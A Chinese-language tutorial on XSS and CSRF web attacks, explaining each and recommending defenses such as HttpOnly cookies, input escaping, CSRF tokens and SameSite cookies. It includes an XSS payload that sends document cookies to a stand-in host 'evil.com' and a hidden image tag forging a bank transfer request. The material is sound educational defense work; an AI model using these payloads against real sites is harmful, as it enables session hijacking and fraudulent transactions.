XSS 与 CSRF 攻击详解：原理剖析及实战防御策略本文详解XSS跨站脚本、CSRF跨站请求伪造两种Web攻击的定义、

XSS 与 CSRF 攻击详解：原理剖析及实战防御策略

在 Web 应用安全中，XSS和CSRF是最常见、危害最广泛的两种前端网络攻击，直接威胁用户账号安全、数据隐私与网站正常运行。本文将结合实战场景，详解两种攻击的定义、原理，并给出落地的防御方案。

一、XSS 跨站脚本攻击

1. 攻击定义

XSS（Cross Site Scripting）即跨站脚本攻击，是黑客通过漏洞向网站植入恶意 JavaScript 代码，代码在用户浏览器中自动执行，从而实现非法操作的攻击方式。

2. 攻击原理

黑客利用网站未对用户输入做过滤的漏洞，在评论区、文章发布区等可输入位置，植入恶意 JS 脚本。当其他用户访问该页面时，脚本会自动执行。实战示例：若评论区无防护，攻击者输入：

<script> fetch('https://evil.com?cookie=' + document.cookie) </script>

其他用户打开页面时，这段代码会将用户的 Cookie 发送给黑客，直接劫持用户登录状态。

3. 核心危害

窃取用户 Cookie，劫持账号登录态；
冒充用户发起非法请求；
篡改页面内容，破坏网站展示效果。

4. XSS 防御策略

（1）使用 `HttpOnly` 属性（核心防御）

HttpOnly 是 Cookie 的专属属性，作用是禁止 JavaScript 代码读取 Cookie。即使 XSS 攻击成功执行恶意脚本，也无法获取到存储登录态的 Cookie，从根源阻断登录态劫持。

（2）永远不信任用户的任何输入

HttpOnly 仅能保护 Cookie，无法阻止 XSS 脚本执行其他恶意操作。因此必须对用户输入内容做HTML 转译：将 <、>、&、" 等特殊字符转换为实体字符（<、> 等），让浏览器将脚本当作普通文本展示，而非执行代码。

二、CSRF 跨站请求伪造攻击

1. 攻击定义

CSRF（Cross Site Request Forgery）即跨站请求伪造，攻击者诱导已登录目标网站的用户，在不知情的情况下发起非法请求，冒用用户身份执行操作。

2. 攻击原理

用户已登录正规网站（如银行），浏览器保存了登录 Cookie；此时用户访问恶意网站，网站中隐藏的代码会自动向正规网站发起请求，浏览器会自动携带 Cookie，服务器误以为是用户本人操作。实战示例：恶意页面中隐藏转账代码：

<img src="https://bank.com/transfer?toAccount=攻击者卡号&money=10000" style="display:none;">

用户访问该页面，就会在不知情的情况下完成转账。

3. 核心危害

冒充用户执行转账、修改密码、删除数据、发布信息等高风险操作。

4. CSRF 防御策略

（1）使用 CSRF Token 验证（最安全方案）

服务端生成随机唯一 Token，下发到前端页面；前端发起请求时，将 Token 放入请求头中，服务端校验 Token 合法性；受同源策略限制，恶意网站无法获取目标网站的 Token，彻底阻断攻击。

代码示例：

<!-- 前端页面嵌入Token --> 
<meta name="csrf-token" content="a1b2c3d4-e5f6-7890-g1h2-i3j4k5l6m7n8">

// 请求时携带Token
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': token }
});

（2）配置 Cookie `SameSite` 属性

通过 Set-Cookie 限制 Cookie 的跨站发送：

Strict：完全禁止跨站携带 Cookie；
Lax：部分允许（浏览器默认值），兼顾安全与体验。

（3）验证 Referer/Origin 请求头

服务端校验请求来源，仅允许合法域名的请求通过。

总结

XSS 是注入恶意代码执行，核心防御：HttpOnly + 用户输入转译；
CSRF 是冒用身份伪造请求，核心防御：CSRF Token + SameSite Cookie。两种防护方案结合使用，可全面抵御主流前端网络攻击，保障 Web 应用与用户安全。

XSS 与 CSRF 攻击详解：原理剖析及实战防御策略